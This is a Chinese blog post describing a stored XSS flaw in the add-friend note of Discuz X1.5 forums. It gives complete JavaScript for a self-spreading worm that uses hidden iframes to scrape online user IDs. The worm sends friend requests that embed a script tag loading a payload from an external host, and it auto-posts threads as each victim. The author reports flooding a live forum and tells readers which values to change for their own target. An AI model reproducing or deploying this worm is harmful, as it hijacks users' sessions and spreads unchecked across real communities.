zoukankan      html  css  js  c++  java
  • Discuz X1.5 利用添加好友处存储xss进行蠕虫worm扩散

    Discuz X1.5 在添加好友的地方有处存储xss,借助此处xss跟用户交互可以进行蠕虫指数扩散。

    位置在添加好友处

    x完之后的效果

      

    点击后触发

    ok 借助此存储xss,我们进行worm传播,dz的会话cookie是被打伤http-only的,但是xss的效果是获取你当前域下的用户会话的权限。这不干扰我们worm的进行。

    step 1 : attacker 发送带xss worm payload给 用户a,

    step 2 : 用户A点击后,自身作为宿主去添加其他人为好友,并且附带攻击payload

    step 3 : 被x的用户互相感染,成指数增长,为了验证,凡是被感染的用户都会被我们用js控制发一个帖子

    没code说个jb,worm代码如下

    你需要修改

    1 urlBase 为你的想1.5 论坛基地址

    2 存放xss的payload的地址

    //code for xss test
    
    
    //论坛的基地址
    var urlBase = "http://forum.xxx.com";
    
    
    
    var add= function(uid){
    
        var ifBox = window['ifBox'] || (window['ifBox']={});
    
        var uyk = (new Date()).getTime();
    
        var ifFame = ifBox[uyk] =document.createElement("iframe");
    
        ifFame.src=urlBase + "/home.php?mod=spacecp&ac=friend&op=add&uid="+uid;
    
        ifFame.width=0;ifFame.height=0;
    
        ifFame.onload = function(){
    
            try{
    //存放xss payload的地址
                ifFame.contentDocument.getElementsByName("note")[0].value= 'hello<script src="http://xxx.xxx.xxx/js/dz.js"></script>';
    
                ifFame.contentDocument.getElementById("addsubmit_btn").click();
    
                ifFame=null;
    
            }catch(err){
    
            }
    
        }    
    
        document.body.appendChild(ifFame);
    
    }
    
    
    
    
    
    var newThread = function(){
    
        var if1 = document.createElement("iframe");
    
        if1.src= urlBase+"/forum.php?mod=post&action=newthread&fid=21";
    
        if1.width=0;if1.height=0;
    
        if1.onload = function(){
    
            var doc =if1.contentDocument;
    
            doc.getElementById("subject").value = "哇卡卡卡~~~";
    
            if1.contentDocument.getElementById("e_iframe").contentDocument.body.innerHTML =" _______________</br>< XSS Worm Test ></br> ---------------</br>           ^__^</br>           (oo)\_______</br>            (__)       )/</br>                ||----w |</br>                ||     ||</br>";
    
            doc.getElementById("postsubmit").click();
    
            if1.onload = function(){return false;}
    
        }
    
        document.body.appendChild(if1);
    
    }
    
    
    
    
    
    var if0 = document.createElement("iframe");
    
    if0.src= urlBase + "/forum.php?showoldetails=yes#online";
    
    if0.width=0;if0.height=0;
    
    if0.onload = function(){
    
        var uli =if0.contentDocument.getElementsByTagName("li");
    
        for(var i = 0;i<uli.length;i++){
    
            if(uli[i].title.length > 5){
    
                var uid = uli[i].childNodes[3].href.substring(uli[i].childNodes[3].href.indexOf("uid=")+4);
    
    
    
                var r = Math.round(Math.random() * 10);
    
               // if(i%10 == r){
    
                    //轻点
    
                    newThread();
    
                    add(uid);
    
              //  }
    
            }
    
        }
    
    }
    
    document.body.appendChild(if0);

    这里面又很多的坑包括js的异步加载,跨iframe的元素操作等等,希望对其他人能提供帮助。

    实际的worm效果是,20分钟内刷了30页,每页20篇的论坛帖子把~~

  • 相关阅读:
    前端常见跨域解决方案
    VS单元测试--初级篇
    高等数学思路
    二元函数求极值判别式AC-B^2
    向量积详解
    伯努利分布均值和方差
    两个标准正态随机变量相乘的方差
    a分位数与双侧a分位数
    中心极限定理概念理解与记忆
    样本方差概念解析
  • 原文地址:https://www.cnblogs.com/l137/p/4952637.html
Copyright © 2011-2022 走看看